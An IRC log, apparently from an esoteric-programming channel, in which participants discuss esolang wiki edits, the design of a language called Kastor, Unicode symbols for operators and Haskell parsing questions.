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11:30:55 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45538&oldid=45536 * Oerjan * (+57) /* Definition */ expand list expression
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11:36:51 * int-e stops after having solved http://www.chiark.greenend.org.uk/~sgtatham/puzzles/js/palisade.html#10x8n8:f1c1b11a12221a2a22222g103a22b0a2a3b1d2a3a2e32a2
11:37:16 <int-e> (I think I've seen this before somewhere, hmm)
11:37:35 <oerjan> the help text says it's a nikoli puzzle
11:41:45 <int-e> hmm, maybe, but I only know the nikoli puzzles that they offer on their free website
11:42:27 <oerjan> there are several other puzzles that vaguely resemble this, though.
11:42:41 <int-e> there's some similarity between palisade and slitherlink (loopy ... ah, you've realized that already. of course.)
11:44:43 <oerjan> and rect and range, to fill out those with "numbers in rectangular grid"
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11:50:55 <int-e> oh and I've encountered the name before... www.marksteeregames.com/Palisade_rules.pdf
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12:03:40 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45539&oldid=45537 * Bas * (+358)
12:04:59 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45540&oldid=45539 * Bas * (+0)
12:05:36 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45541&oldid=45540 * Bas * (+0)
12:17:46 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45542&oldid=45541 * Bas * (+53) /* Instructions */
12:17:47 <lambdabot> oerjan said 2h 29m 12s ago: i think you're still confused, at any rate.
12:17:47 <lambdabot> oerjan said 2h 28m 41s ago: it _is_ johansen hth
12:17:59 <boily> hellørjan. the confusion runs deep.
12:20:10 <lambdabot> CYUL 191200Z CCA 14018KT 30SM SCT045 BKN065 OVC230 11/07 A3007 RMK SC3SC4CI1 SLP183
12:20:15 <lambdabot> ENVA 191150Z 10003KT 9999 FEW009 SCT018 M01/M03 Q0997 NOSIG RMK WIND 670FT 15004KT
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12:24:55 <oerjan> i got a new winter coat yesterday, otherwise it _would_ be bad
12:25:35 <oerjan> silly hit-and-run boily
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12:43:24 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45543&oldid=45542 * Bas * (+166) /* Instructions */
12:44:00 <lambdabot> LOWI 191220Z VRB02KT 9999 SCT120 BKN300 11/M00 Q1020 NOSIG
12:44:33 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45544&oldid=45543 * Bas * (+1) /* Cat */
12:49:40 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45545&oldid=45544 * Bas * (-4) /* Instructions */
12:54:01 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45546&oldid=45545 * Bas * (+55) /* Instructions */
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12:56:23 <HackEgo> [wiki] [[Binerdy]] http://esolangs.org/w/index.php?diff=45547&oldid=45546 * Bas * (+14) /* Cat */
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13:12:15 <mauris> i'm late, but haskell's \& thing has always struck me as sort of silly
13:13:46 <mauris> it'd be cool to have, say, "{escaped}" instead of "\escaped"
13:14:10 <mauris> like "this string{n}has a newline in it" looks much more readable to me. but oh no, C doesn't do that!!
13:16:35 <Taneb> I personally disagree
13:16:42 <mauris> also compare "{SOH}{SO}H" vs "\SOH\SO\&H", or "{123}{x45}6" vs "\123\x45\&6"
13:17:24 <mauris> to put {} in strings... you could have {{ and }}, i think?
13:19:15 <mauris> Taneb: how much of that do you think is up to the fact that you're used to "\n"?
13:20:10 <Taneb> mauris: likely, all of it
13:20:33 <Taneb> Also, I'm a lot more likely to want to print { and } than \
13:21:43 <oerjan> you're just not programming enough /// hth
13:22:39 <mauris> yeah, \ sort of lacks meaning outside of programming. maybe "dos/windows file path separator"
13:23:58 <mauris> although, i don't think i put {} in strings all *that* often either. usually () and [] suffice. it would suck for quick code generation scripts though :(
13:25:03 <mauris> like, print("int main() {{ ... }}") is a bit weird. also printing JSON by hand. these are things you "shouldn't do" but in the real world obviously people do 'em
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14:05:39 <mroman> so the halting problem is not NP-complete because it is not in NP?
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15:17:32 <HackEgo> [wiki] [[Semantic Brain]] M http://esolangs.org/w/index.php?diff=45548&oldid=45507 * SilverWingedSeraph * (+280) Bring up to date with 64d2433
15:30:01 <Melvar> mroman: Yes, it is merely NP-hard. A problem is NPC iff it is both NP and NP-hard.
15:44:33 <b_jonas> ok... now I understand what he was saying
15:45:19 <b_jonas> David says that I defined Amycus wrong, namely rule 6
15:45:27 <b_jonas> his version is actually much easier to program
15:45:57 <b_jonas> so it's not David who has made a crazy esoteric language actually, but me by making a mistake in the rule.
15:47:45 <b_jonas> his rule 6 is designed so that the language is easy to program, because now he can use <5, <6>: r> for the S rule, rather than having to mess with all the complications
15:48:40 <b_jonas> I'll probably have to document these as separate languages
15:48:44 <mroman> Making yet another Amicus derivative.
15:48:59 <b_jonas> yes... except it's not really a derivative
15:49:05 <b_jonas> rules 3, 5, 6 are essential
15:49:14 <b_jonas> you can't program without _any_ one of them
15:49:34 <b_jonas> so if rule 6 is different, then more than half of what I say about the language changes.
15:49:44 <b_jonas> I'll have to give it a distinct name
15:55:31 <b_jonas> the evil solution would be to call it Amicus
15:56:00 <b_jonas> but I would screw that up more than everyone else
15:57:32 <b_jonas> in fact, it should be backwards
15:57:42 <b_jonas> David's language should be Amycus, and my mangled one Amicus
16:03:52 <int-e> . o O ( Amicus is a common misspelling of Amycus )
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16:27:40 <mroman> Amicus is a common misspelling of Amycus, except when it's not.
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16:47:22 <HackEgo> [wiki] [[BitShift]] N http://esolangs.org/w/index.php?oldid=45549 * Bas * (+1980) Created page with "'''BitShift''' was created by [[user:Bas]] to reminisce the old days, when computers only understood zeroes and ones. ==Language overview== A BitShift program only knows of ..."
16:49:33 <FireFly> Huh, I'm surprised there wasn't a language named that already
16:57:45 <HackEgo> [wiki] [[User:Bas]] N http://esolangs.org/w/index.php?oldid=45550 * Bas * (+22) Created page with "I created [[BitShift]]"
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17:39:22 <izabera> when you sign up for the austing group mailing list, you have to pick a salutation among Dr Eng Miss Mr Mrs Ms Prof
17:41:43 <izabera> i mean, it's 2015, come on
17:42:13 <izabera> wtf they want my phone number as well
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17:43:57 <int-e> "so we can call you in case you forget your password"
17:44:25 <izabera> :| thanks that's very nice of you
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17:50:26 <HackEgo> irctc267: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
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18:15:33 <hppavilion[1]> What happens if I generalize trochoids to ellipses instead of circles?
18:15:45 <hppavilion[1]> I suppose they become much harder to draw programmatically
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18:20:22 <HackEgo> [wiki] [[Amycus]] http://esolangs.org/w/index.php?diff=45551&oldid=45538 * B jonas * (+421)
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18:32:28 <FireFly> Websites and such asking for titles always weird me out..
18:32:42 <Taneb> WHAT IS YOUR TITLE
18:32:47 <FireFly> I'd rather they didn't use any title at all
18:33:12 <Taneb> Solution: get a doctorate
18:35:27 <int-e> Hmm is "Prof" legally protected in any way?
18:38:11 <int-e> . o O ( we could all be professors at the esoteric language institute, the internet 101, worldwide )
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19:15:56 <izabera> a friend of mine showed me the input that codeeval used in their brainfuck challenge
19:16:19 <izabera> they're 10 trivial programs, one per line http://sprunge.us/XYPj
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19:18:39 <izabera> also they're assholes because they didn't specify that you need to write to the right side of the tape
19:19:17 <FireFly> In general I think the codeeval tasks seem to be pretty poorly specified
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19:53:02 <hppavilion[1]> They stretch up to the top of the screen and are solid black
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20:07:07 <hppavilion[1]> I think I'll generalize WalText2i to a more PDFy thing
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20:18:26 <HackEgo> [wiki] [[UberGenes]] N http://esolangs.org/w/index.php?oldid=45552 * Quintopia * (+3751) Created page with "{{infobox proglang |name=UberGenes |paradigms=imperative |author=[[User:Quintopia]] |year=[[:Category:2015|2015]] |class=[[:Category:Turing complete|Turing complete]] |refimpl..."
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23:04:26 <HackEgo> [wiki] [[Brainfuck implementations]] http://esolangs.org/w/index.php?diff=45553&oldid=44605 * 77.103.217.201 * (+103) adding bfc
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23:44:12 <hppavilion[1]> The "." operator: Accepts two integers, returns a float. Yep. I went there.
23:44:54 <quintopia> oh. must have confused it with Pollucks
23:46:41 <hppavilion[1]> quintopia: In case you're curious, it's a programming language designed for actual, serious usage that draws on my knowledge of Eso.
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23:48:04 <hppavilion[1]> It has weird syntax elements like "specials"- a value followed by a name- that you can define to feed that value to a certain class. For example, with a few lines of code you can make "5i" a meaningful token.
23:48:45 <hppavilion[1]> (Preferably, you make it meaningful by feeding it as the second argument of the "complex([real[, imag]])" class so it makes fucking sense)
23:49:19 <hppavilion[1]> Useful for code obfuscation? Perhaps. Totally amazing and something I want any programming language I use in the future to have? YES.
23:58:54 <FireFly> So what does the '.' operator do anyway?
23:59:25 <hppavilion[1]> FireFly: In the context of two integers, it essentially joins them into a float with the whole part being the lhs and the decimal part the rhs
00:00:06 <hppavilion[1]> FireFly: It is. I think it's clever and awesome, but it's probably just stupid.
00:00:30 <hppavilion[1]> I mean, the efficiency is probably going to be atrocious. Then again, Kastor isn't a particularly quick language in the first place.
00:01:38 <tswett> You know, in SQL, an "OUTER SELECT" would make perfect sense.
00:01:57 <hppavilion[1]> FireFly: The only problem I can think of with that syntax, though, is if you want to write a float in hex for some reason: You think it should be 0xABC.123, but it'd actually have to be 0xABC.0x123 and there's no way to fix it without making floats just a builtin, which everytime I think about becomes a better and better idea but I'm probably not going to do anyway.
00:02:23 <tswett> hppavilion[1]: so 1.01 would be interpreted as 1.1, aye?
00:03:40 <hppavilion[1]> It's designed to still be usable, despite drawing on Eso.
00:04:32 <tswett> In addition to the . operator, there's a .0 operator, a .00 operator, and so on.
00:04:40 <tswett> So that would be: 1 .0 1
00:05:00 <tswett> How to do an OUTER SELECT: Add a NULL row to each table. Take the cartesian product of all those tables. Filter by the WHERE conditions, treating each one involving a NULL as satisfied. Project as desired. Take only the maximum tuples.
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00:11:19 <hppavilion[1]> tswett: But that doesn't fit the operator syntax xD. But no, I'm just sticking with float.
00:12:01 <tswett> Reverse the digits of the rhs part.
00:12:17 <tswett> The expression 120 . 240 represents 120.042.
00:13:39 <hppavilion[1]> tswett: No. This language is meant to actually be usable.
00:14:08 <tswett> If I ever finish Tokiber, I'll create an Esolang page for it.
00:14:33 <tswett> Usability will be a major goal, but *usefulness*, not so much.
00:18:00 <hppavilion[1]> Basically, 0b[binary number], 0q[quaternary number], 0o[octal number], and 0x[hex number] are builtin, along with 0n[decimal base]_[arbitrary-base number].
00:18:43 <hppavilion[1]> You can define how arbitrary-base numeric alphabets behave; by default they support 0-9a-zA-Z as digits, so you can't yet do base64 constants.
00:19:44 <hppavilion[1]> All numbers support underscores wherever you like (except leading (that's a variable) and trailing (a special). That does not work).
00:21:25 <hppavilion[1]> Also, you can define your own encodings that just feed a class constructor or a function a string; e.g. 0rn_VII could be programmed to return 0q13 (7)
00:22:03 <hppavilion[1]> (0rn_VII works because any numeric or letter-like character can go after a 0[type]_)
00:36:58 <Taneb> Things I would not recommend: having a moustache
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00:42:11 <Taneb> quintopia: it's not long enough yet
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00:45:48 <oerjan> <hppavilion[1]> Fuckfuckfuckfuckfuck <-- design is hard.
00:47:43 <boily> hppavellon[1]! tell me all.
00:52:43 <boily> \helloren\. I believe ヘレリャン is closer hth
00:53:34 <oerjan> i believe you're evil for making me use google translate hth
00:57:53 <oerjan> i knew that was a bad idea.
01:00:02 <hppavilion[1]> boily: I'm making a programming language called Kastor. It draws on Eso, but is made for general usage.
01:01:21 <hppavilion[1]> boily: I'm currently working on how integers work; I took the _ syntax from Perl and am allowing custom 0c prefix codes
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01:07:45 <Taneb> It is a weird experience listening to a video from ICFP and there being a familiar voice asking a question at the end
01:09:28 <Taneb> Although, I guess, not that weird
01:09:39 <Taneb> I'd imagine it'd be pretty weird if I heard my own voice there
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02:17:54 -!- boily has set topic: The ウフフ channel. | /ɛ̃ˈglɪʃ spɛˈliŋ ʀɘfɔʀm/ | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://esolangs.org/.
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02:53:01 <hppavilion[1]> I've just integrated my first Unicode character into Kastor :)
03:11:22 <HackEgo> [U+29FC LEFT-POINTING CURVED ANGLE BRACKET] [U+29FD RIGHT-POINTING CURVED ANGLE BRACKET]
03:12:13 <\oren\> yeah, i'm shocked, I thought I had all the damn operators already
03:17:15 <hppavilion[1]> OK, I changed the symbols because I was using the wrong ones xD
03:18:27 <hppavilion[1]> I'm now using ⟨⟩ instead of ⧼⧽ (the former ones were curved and looked a bit nicer, but I prefer the chevrons because they're more typical)
03:19:15 <hppavilion[1]> izabera: Programming language I'm making based on the principal that languages should be usable, but combined with all the teachings of Esobuddha.
03:22:31 <hppavilion[1]> Huh. Indian programmers often refer to {"{", "}"} as "Flower Brackets"
03:22:44 <hppavilion[1]> (Notice that I used set notation there solely because it's more confusing)
03:40:44 <zgrep> This? https://reference.wolfram.com/language/ref/character/Xnor.html
03:41:07 <\oren\> AGH, that block (misc math sybols B) is full of annoying crap!
03:41:51 <hppavilion[1]> Dammit, there isn't one in the entire fucking formal logic
03:42:55 <zgrep> Google helps, you know, rather than digging through a table of unicode values...
03:44:40 <\oren\> tell me the code point and I'll add it if I can draw it
03:46:05 <hppavilion[1]> I might have to embed your font into my IDE for Kastor, \oren\ xD
03:46:58 <\oren\> thsat's a private use character point.
03:47:19 <\oren\> e.g. not an official unicode character
03:47:44 <\oren\> so even GNU unifont won't have it
03:48:46 <hppavilion[1]> I need a surrogate symbol to represent logical xor... It has to look good among
03:49:08 <hppavilion[1]> My problem is that even formal logicians don't have a symbol for some reason xD
03:49:35 <\oren\> xor is the same as not equal, so xnor would be =
03:50:31 <hppavilion[1]> \oren\: Except the ∧∨⊻⊼⊽ symbols are type-insensitive, being the "logical" versions of the operator: ''==0 evaluates to false, but ''<xnor>0 evaluates to true.
03:51:09 <\oren\> you could use some other variant of =
03:51:35 <\oren\> ≖≗≘≙≚≛≜≝≞≟ any of these look good
03:52:28 <\oren\> and those are all in my font!
03:52:54 <hppavilion[1]> Wait, I didn't send the message those last two posts were referring to xD
03:53:51 <hppavilion[1]> ≙ makes the most sense, as it's "="+"∧", so it's logical. Only problem is people might confuse it for an assignment operator, but oh well
03:54:23 <\oren\> I prefer an arrow for assignemtn
03:58:55 <izabera> does anyone know how to check if a process has a fd that points to a given file?
03:59:29 <izabera> all i can think of is to readlink every file in /proc/pid/fd
03:59:50 <hppavilion[1]> \oren\: Kastor currently has planned 12 different types of builtin collection xD
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04:04:31 <hppavilion[1]> \oren\: You must know a lot of unicode characters from fontsmithing. Is there a good type of bracket I could use for bags?
04:07:17 <HackEgo> [U+2983 LEFT WHITE CURLY BRACKET] [U+2984 RIGHT WHITE CURLY BRACKET]
04:08:04 <hppavilion[1]> \oren\: I just was thinking that when I openned hexchat to see that suggestion. That was awesome.
04:13:53 <\oren\> that would just be a sorted array dudu
04:16:15 <hppavilion[1]> \oren\: That's one way of representing it, but not the only way
04:20:17 <hppavilion[1]> Because that doesn't make any sense, and more importantly, it looks almost like "big dicks" and no just no.
04:33:03 <HackEgo> [wiki] [[Combinatory logic/Analysis of combinators]] http://esolangs.org/w/index.php?diff=45554&oldid=45461 * Hppavilion1 * (+421) Some stuff, I hope
04:42:01 <\oren\> hppavilion[1]: well in that case the correct character is ⇫
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04:46:58 <hppavilion[1]> My font won't render any of those characters, so I don't know what you're talking about
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05:06:07 <hppavilion[1]> Wait, I just remembered I might not want to use x ← 5 as assignment unless there's a good-looking augmented assignment syntax for ← assignment. Do you have anything, \oren\?
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06:37:13 <HackEgo> [wiki] [[Semantic Brain]] http://esolangs.org/w/index.php?diff=45555&oldid=45548 * Zerk * (-46) Fixed an infinite loop in cumulative adder code.
06:42:25 <oerjan> re. today's girl genius: i bet 10 zorkmids that's othar
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07:04:46 <b_jonas> hppavilion[1]: what's wrong with just using circled plus for xor?
07:05:12 <b_jonas> for that, triple horizontal line
07:05:23 <oerjan> hppavilion[1]: afa what you said 2 lines before hth
07:07:35 <oerjan> i changed the subject hth
07:08:16 <oerjan> as a boolean proposition operator
07:09:14 <b_jonas> I still say triple horizontal line. Isn't that what Knuth uses these days?
07:09:44 <oerjan> or maybe just ↮ without the slash
07:10:17 <oerjan> hppavilion[1]: https://en.wikipedia.org/wiki/Logical_biconditional has several options
07:11:28 <oerjan> of course you settled on something my client cannot display
07:11:42 <oerjan> well it couldn't display the last i suggested either
07:14:40 <hppavilion[1]> oerjan: It's the equal sign with an "or" sign above it; neoletters supports it.
07:16:34 <hppavilion[1]> The PROBLEM with that is that it's confusing as it looks like an assignment operator
07:17:00 <hppavilion[1]> Should I implement ⚢⚣⚤⚥⚦⚧⚨⚩ as operators, allow them to be included in names, or do something else with them? (xD)
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07:22:53 <hppavilion[1]> Same goes for ♂♀, ☿♁♃♄♅♆♇, ♈♉♊♋♌♍♎♏♐♑♒♓, ♔♕♖♗♘♙/♚♛♜♝♞♟, ♠♡♢♣♤♥♦♧, and ⚭⚮⚯
07:33:52 <hppavilion[1]> ⊻⊼⊽ for logical operations XOR, NAND, and NOR, or should I switch to the arrow notation?
07:34:07 <hppavilion[1]> I think I'll stick with these and reserve arrows for othere purposes
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08:28:43 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45556&oldid=45455 * Quintopia * (+77) /* Examples */
08:32:46 <HackEgo> [wiki] [[Cellular automaton]] http://esolangs.org/w/index.php?diff=45557&oldid=30870 * 202.99.113.80 * (+11) /* Relation to esoteric programming */
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08:42:13 <HackEgo> [wiki] [[Purple]] N http://esolangs.org/w/index.php?oldid=45558 * Quintopia * (+3993) Created page with "{{infobox proglang |name=Purple |paradigms=imperative |author=[[User:Quintopia]] |year=[[:Category:2015|2015]] |class=[[:Category:Turing complete|Turing complete]] |refimpl=Se..."
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08:46:14 <HackEgo> [wiki] [[BitShift]] http://esolangs.org/w/index.php?diff=45559&oldid=45549 * Bas * (-5)
08:49:35 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45560&oldid=45558 * Quintopia * (-8) bleh
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09:40:25 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45561&oldid=45556 * Quintopia * (+5) /* Examples */
09:40:40 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45562&oldid=45561 * Quintopia * (+0) /* ]Hello, world! */
09:41:52 <HackEgo> [wiki] [[Aubergine]] http://esolangs.org/w/index.php?diff=45563&oldid=45562 * Quintopia * (+4) /* Examples */
09:44:58 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45564&oldid=45560 * Quintopia * (+9) /* Examples */
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10:12:47 <HackEgo> [wiki] [[Hello world program in esoteric languages]] http://esolangs.org/w/index.php?diff=45565&oldid=45232 * Quintopia * (+224)
10:13:31 <HackEgo> [wiki] [[Hello world program in esoteric languages]] M http://esolangs.org/w/index.php?diff=45566&oldid=45565 * Quintopia * (+3) /* Aubergine */
10:16:56 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45567&oldid=45464 * Quintopia * (+13) /* P */
10:17:50 <HackEgo> [wiki] [[Language list]] http://esolangs.org/w/index.php?diff=45568&oldid=45567 * Quintopia * (+16) /* U */
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10:33:55 <HackEgo> [wiki] [[User:Quintopia]] http://esolangs.org/w/index.php?diff=45569&oldid=42578 * Quintopia * (+214)
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10:35:19 <mroman> well I just answered a haskell question on stackexchange
10:35:24 <mroman> let the hatred begin :)
10:41:15 <mroman> http://codepad.org/xZCenjhm <- but technically that's how you could implement "inheritance" of some sorts
10:47:59 <HackEgo> [wiki] [[Purple]] http://esolangs.org/w/index.php?diff=45570&oldid=45564 * Quintopia * (+7) /* Python 2 */
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11:55:51 <boily> int-e: int-ello. is it possible to specialcase lambdabot for loud massages please?
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12:51:11 <Taneb> I wonder how many people are bilingual in two sign languages
12:59:07 <b_jonas> Taneb: bilingual to at least what level of knowledge?
12:59:25 <Taneb> At least conversational
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14:49:12 <mroman> What's the best data structure in Haskell for writing interpreters on a sequence of instructions where you need to do forwards and backwards jumps?
14:49:25 <mroman> Map? HashTable? Array?
14:49:50 <mroman> and you can't parse it neatly like Brainfuck data BF = Loop [BF] | Increment
14:49:56 <ais523> oh no, someone's going to mention lens aren't they
14:50:11 <mroman> Well, Taneb is online so
14:50:16 <mroman> there's the chance of that happening, yes.
14:50:41 <Taneb> mroman: I'd use vector
14:51:41 <Taneb> Or a skiplist, maybe???
14:52:18 <Jafet> Just precompute the target address for each jump hth
14:55:00 <mroman> well I guess I can't precompute every jump anyway
14:56:40 <Melvar> @tell hppavilion[1] Wait wait for bags you must use ⟅⟆ as brackets. {LEFT,RIGHT} S-SHAPED BAG DELIMITER
14:58:34 <ais523> that unicode character name is irrefutable
15:02:16 <Melvar> More importantly those look awesomely bag-like.
15:05:02 <Jafet> Combining bag characters
15:05:02 <mroman> I wonder if I can do indentation based thingies in parsec
15:05:17 <Jafet> Hmm, delimiters as combining characters
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15:05:37 <ais523> surely you just need a COMBINING BOTTOM OF BAG to place below the $?
15:06:16 <Melvar> mroman: I think it’s troublesome. There’s been a paper about indentation sensitive parsing, but I don’t remember if there’s a lib based on it.
15:11:37 <Jafet> You can, of course, implement any computable grammar next to parsec.
15:13:44 <coppro> idea: what about a language where combining characters are operators
15:14:11 <Jafet> The zalgo programming language
15:15:02 <Jafet> (Gives a new meaning to code density...)
15:15:06 <coppro> https://hackage.haskell.org/package/indents-0.3.3/docs/Text-Parsec-Indent.html
15:26:22 <mroman> you have to use lots of tries
15:27:38 <mroman> but that doesn't soom to work either
15:29:54 <mroman> the problem is that if you expect 6 spaces to be there
15:30:04 <mroman> but there are only three there (which means block end)
15:30:11 <mroman> then parsec will still expect those 3 additional spaces
15:31:36 <mroman> https://hackage.haskell.org/package/indents-0.3.3/docs/Text-Parsec-Indent.html
15:31:38 <mroman> although there is this
15:32:16 <Jafet> You could embrace it instead.
15:34:43 <mroman> procedure ... while ... elihw .. erudecorp
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15:34:54 <mroman> man that'd be annoying
15:35:17 <mroman> foreach x in y do ... hcaerof
15:35:56 <ais523> I'm vaguely sure I've seen "erudecorp" in that context before (presumably as a joke)
15:36:13 <mroman> There are plenty of rude corporations in the see
15:36:15 <ais523> (vaguely sure = a little less sure than "pretty sure")
15:36:56 <mroman> `learn erudecorp is the shortform of e-rude corporation. The term is used for corporations that are electronically rude.
15:36:59 <HackEgo> Learned 'erudecorp': erudecorp is the shortform of e-rude corporation. The term is used for corporations that are electronically rude.
15:37:39 <mroman> One using german swear speech would be fun
15:38:02 <mroman> fürjedes x in y friss das ... du sack
15:38:31 <mroman> versuche x menno .... so'n müll
15:42:05 <mroman> öffentlich statisch hauptmethode(Schnur[] argumente) ist ganz i; solange(i < 10) mach print(i) aber schnell gecheckt?
15:43:29 * J_Arcane reconstructs a code snippet by hand from a Twitter image, thus learning why he should use version control even for small projects.
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15:48:16 <mroman> http://codepad.org/858XP1XQ
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15:51:56 <HackEgo> [wiki] [[List of ideas]] http://esolangs.org/w/index.php?diff=45571&oldid=44809 * 160.85.232.226 * (+413) lolcode in german.
16:01:36 <Melvar> mroman: Now add that modifiers have to be properly inflected for what they go on.
16:02:18 <Melvar> Also, “Schnur”, really? <ω<
16:07:02 <Melvar> “Zeichenkette”, “Gleitkommazahl” (“doppeltgenaue” or “einfachgenaue”).
16:07:24 <mroman> Das wäre ja nicht Lustig.
16:07:50 <mroman> KRANKENHAUSKIOSKVERKAEUFERIN
16:07:55 <Melvar> Ich weiß, ich konnte das nur einfach nicht so stehenlassen.
16:08:57 <mroman> Zwischengesicht Vergleichbar
16:09:32 <Melvar> Amusing: “chain” and “Kette” are cognate, but not Germanic; they’re from Latin “catena”, but in the English case of course it got filtered through Old French first.
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16:28:10 <b_jonas> Melvar: of course. the Mormann warriors have learnt that word from the Roman soldiers who took their lived ones away as slaves chained up
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17:26:02 <mroman> There will also be a swiss german dialect of it
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17:53:48 <mroman> mauris: to float = schwimmen
17:53:56 <mroman> float imperative => schwimm
17:54:06 <mroman> It's an imperative language after all!
17:54:57 <Melvar> Well, depends … sometimes you want “schweben” instead.
18:07:07 <mroman> I'm watching "Best of Donald Trump"
18:10:24 <mroman> that wrestling video with donald trump
18:12:44 <mroman> (real for wrestling purposes)
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19:13:36 <hppavilion[1]> I need a good name for a heavily symbolic (as in, gets-its-syntax-from-"Misc. Symbols"-symbolic) language. I'm currently calling it "Langdon"
19:16:11 <hppavilion[1]> How about Apollo? I might roll it in with Kastor in a way
19:17:21 <hppavilion[1]> Even better, I could just roll my ideas for it into UniFunge and name UniFunge apollo.
19:18:27 <HackEgo> [wiki] [[Special:Log/move]] move * Hppavilion1 * moved [[User:Hppavilion1/UniFunge]] to [[Apollo]]: Came up with a good name for the language
19:19:19 <HackEgo> [wiki] [[Apollo]] http://esolangs.org/w/index.php?diff=45574&oldid=45572 * Hppavilion1 * (-7) Fixed names for new page
19:22:00 <HackEgo> [wiki] [[Apollo]] http://esolangs.org/w/index.php?diff=45575&oldid=45574 * Hppavilion1 * (+8) Undo revision 45572 by [[Special:Contributions/Hppavilion1|Hppavilion1]] ([[User talk:Hppavilion1|talk]])
19:22:25 <HackEgo> [wiki] [[Special:Log/move]] move_redir * Hppavilion1 * moved [[Apollo]] to [[User:Hppavilion1/UniFunge]] over redirect: Changed mind. Sorry.
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19:29:09 <hppavilion[1]> Should I use ≪ and ≫ instead of << and >> for bitshifts in Kastor?
19:29:37 <ais523> Perl6 uses « and » as quote marks, that can be typed as << and >>
19:29:41 <ais523> I'm not sure what it uses for shifts
19:29:45 <ais523> knowing Perl, probably also << and >>
19:36:00 <FireFly> ais523: for delimiting strings?
19:36:41 <ais523> FireFly: so in Perl6, < and > are literal list constructors that interpret everything between them raw and split on spaces
19:36:51 <ais523> i.e. <foo bar baz> = ('foo', 'bar', 'baz')
19:36:59 <ais523> « and » are like that, but interpolate
19:37:20 <ais523> «foo $x baz» = ("foo", "$x", "baz") = ("foo", $x, "baz")
19:37:37 <ais523> err, ("foo", ~$x, "baz"), $x gets stringified
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19:48:51 <Melvar> hppavilion[2]: Did you see my message?
19:49:15 <Melvar> Nm lambdabot now alerted me to your answer.
19:49:45 <hppavilion[2]> Because if I use the white brackets, then I can logically have both bags and ordered bags
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19:50:35 <Melvar> Are those … hmm … lists with a fast count operation?
19:51:04 <hppavilion[2]> Melvar: They're basically just ordered lists, at least that's one way to implement them
19:51:35 <hppavilion[2]> But yes, they're lists that store the number of times a value occurs in them. And you can't have a value occur at multiple indexes, unless I decide you can.
19:52:08 <Melvar> If you can’t have one at multiple indices, how can you have any more than one?
19:52:30 <hppavilion[2]> Melvar: In literals you can have them at multiple indices, but they get consolidated into a single bag basically
19:52:59 <hppavilion[2]> I think I'll let my language have operators in prefix, postfix, infix, circumfix, precircumfix, postcircumfix, and incircumfix, just to one-up perl.
19:53:55 <Melvar> Agda already has fully general mixfix, which merely has all those as special cases.
19:54:29 <ais523> does incircumfix even make sens?
19:54:47 <ais523> (what would it look like?)
19:55:00 <ais523> I guess along the lines of a[b]c but that's just a ternary
19:55:10 <ais523> (no reason the brackets have to match)
19:55:16 <ais523> _?_:_ is topologically the same
19:55:17 <hppavilion[2]> ais523: a[b]c is an example of an incircumfix operator, but not necessarily one that will be used
19:55:54 <Melvar> I believe in Agda I’ve seen _[_]=_ for replaceAt in a vector.
19:56:01 <hppavilion[2]> But yes, that's an example of incircumfix; it is as a matter of fact ternary. I might not have any builtin though
19:56:35 <hppavilion[2]> There will also be associativities if I can figure it out, also taken from perl: right, left, chain, list, and whatever the other one perl has is
19:56:40 <ais523> I guess I meant that the "circum" is suspect because there's no reason why the brackets would match
19:57:13 <Melvar> Anyway, for the ordered bags, if you enter one where the same value appears at multiple indices, where is the value going to be in the resulting orderedbag?
19:58:04 <Melvar> I disagree, not duh. How would I know you wouldn’t use the last occurrence?
19:58:33 <hppavilion[2]> You can ALSO declare associativity groups- for example, a>b>c is be equal to (a>b)&(b>c)
19:58:51 <ais523> Melvar: OCaml has maps with multiple bindings
19:58:55 <hppavilion[2]> Melvar: Trial and error, or reading the fucking manual. Either one works.
19:59:04 <ais523> where newer bindings shadow old ones, but don't remove them (you can delete the newer binding and see the older binding again)
19:59:15 <Melvar> No, asking you just now, that’s how I know. I just disagree that it’s duh.
19:59:16 <ais523> strangely enough, this is its default sort of map
19:59:26 <hppavilion[2]> I believe that Kastor currently has 14 builtin data structures xD
20:01:07 <Melvar> Actually, derp, that won’t work.
20:01:27 <HackEgo> [wiki] [[User:Hppavilion1/UniFunge]] http://esolangs.org/w/index.php?diff=45578&oldid=45576 * Hppavilion1 * (+814) /* Δ Commands */ Astrological symbols
20:02:47 <hppavilion[2]> In case anyone wants to see the WIP documentation for Kastor, it's here: https://drive.google.com/folderview?id=0ByRvNdqqy3GPV1NfZmRwOFNxQ28&usp=sharing
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20:21:25 <b_jonas> ais523: have you seen this Amycus esolanguage I mentioned a last time?
20:21:30 <b_jonas> it turns out to be quite interesting,
20:21:44 <b_jonas> and I've only written some of the intersting stuff about it so far, I'll have to document the rest
20:22:00 <ais523> b_jonas: I looked at it when reviewing Esolang edits
20:22:24 <b_jonas> also, it seems that's partly by accident, because I misread _one_ character in the spec, and didn't read the interpreter carefully enough to notice that it doesn't match
20:22:31 <b_jonas> the interpreter matches the intended spec
20:22:50 <b_jonas> but I went by my copy of the spec, which had an error compared to David's spec
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20:23:06 <b_jonas> so now we have twice as many languages
20:23:27 <b_jonas> and of course, that one character matters a lot, because esolang
20:28:52 <izabera> this is an interesting read http://www.opensource.apple.com/source/lsof/lsof-8/lsof/00PORTING
20:31:02 <ais523> haha, lsof reads /dev/kmem on most platforms?
